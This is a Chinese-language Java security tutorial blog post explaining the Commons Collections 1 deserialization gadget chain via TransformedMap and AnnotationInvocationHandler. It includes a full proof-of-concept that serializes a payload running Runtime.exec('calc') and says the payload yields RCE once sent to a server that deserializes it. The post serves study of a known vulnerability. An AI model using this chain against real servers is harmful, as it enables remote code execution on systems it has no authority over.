【java安全】CommonsCollections1(TransformedMap)

本文最后更新于:2023年9月9日 晚上

[TOC]

【java安全】CommonsCollections1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

为参数赋初值

transform()方法

1
2
3
4
5
6
7
8
9
10
11
12
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//Class runtimeClass=Class.forName("java.lang.Runtime");
//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象

//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
).transform(runtimeClass);

//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
Object runtime=new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
).transform(m_getMethod);

//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
Object exec=new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
).transform(runtime);
}
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

1
2
3
public static Runtime getRuntime() {
return currentRuntime;
}

ConstantTransformer

这个类的transform()方法很简单:

1
2
3
4
5
6
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

1
2
3
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
public static void main(String[] args) throws Exception {

Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};

ChainedTransformer chain= new ChainedTransformer(transformers);
chain.transform(null);
}
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

于是,我们可以将构造的链子传入TransformedMap对象中:

1
2
3
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

1
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

1
2
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

image-20230715013946405

构造函数:

image-20230715014403089

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonCollections11 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
}; //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝

Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}

public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

image-20230715014441472

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

image-20230715103609385

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)


【java安全】CommonsCollections1(TransformedMap)
https://leekosss.github.io/2023/08/24/[java安全]CommonsCollections1(TransformedMap)/
作者
leekos
发布于
2023年8月24日
更新于
2023年9月9日
许可协议